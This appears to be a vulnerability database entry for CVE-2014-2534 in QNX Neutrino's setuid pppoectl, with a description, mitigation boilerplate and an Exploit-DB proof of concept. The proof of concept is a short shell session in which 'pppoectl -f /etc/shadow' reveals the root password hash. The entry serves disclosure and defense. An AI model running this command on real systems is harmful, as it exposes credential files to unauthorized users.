CVE-2014-2534
Description
/sbin/pppoectl in BlackBerry QNX Neutrino RTOS 6.4.x and 6.5.x allows local users to obtain sensitive information by reading "bad parameter" lines in error messages, as demonstrated by reading the root password hash in /etc/shadow.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
QNX 6.4.x/6.5.x pppoectl - Information Disclosure
#
# QNX 6.4.x/6.5.x pppoectl disclose /etc/shadow by cenobyte 2013
# <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /sbin/pppoectl allows any user to gain access to privileged
# information such as the root password hash.
#
# The vulnerability exists because of a failure to drop privileges or check the
# permissions and ownership on the file specified as the configuration file.
#
# If a user specifies a file such as /etc/shadow, pppoectl will display the
# first line of the shadow file in the error output.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
$ id
uid=100(user) gid=100
$ ls -la /etc/shadow
-rw------- 1 root root 69 Oct 10 16:55 /etc/shadow
$ pppoectl -f /etc/shadow lo0
pppoectl: bad parameter: "root:QSkSGrRQOSLoO:1380296317:0:0"References
- http://seclists.org/bugtraq/2014/Mar/66
- http://seclists.org/bugtraq/2014/Mar/88
- http://seclists.org/fulldisclosure/2014/Mar/124
- http://seclists.org/fulldisclosure/2014/Mar/98
- http://www.exploit-db.com/exploits/32156/
- http://seclists.org/bugtraq/2014/Mar/66
- http://seclists.org/bugtraq/2014/Mar/88
- http://seclists.org/fulldisclosure/2014/Mar/124
- http://seclists.org/fulldisclosure/2014/Mar/98
- http://www.exploit-db.com/exploits/32156/
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.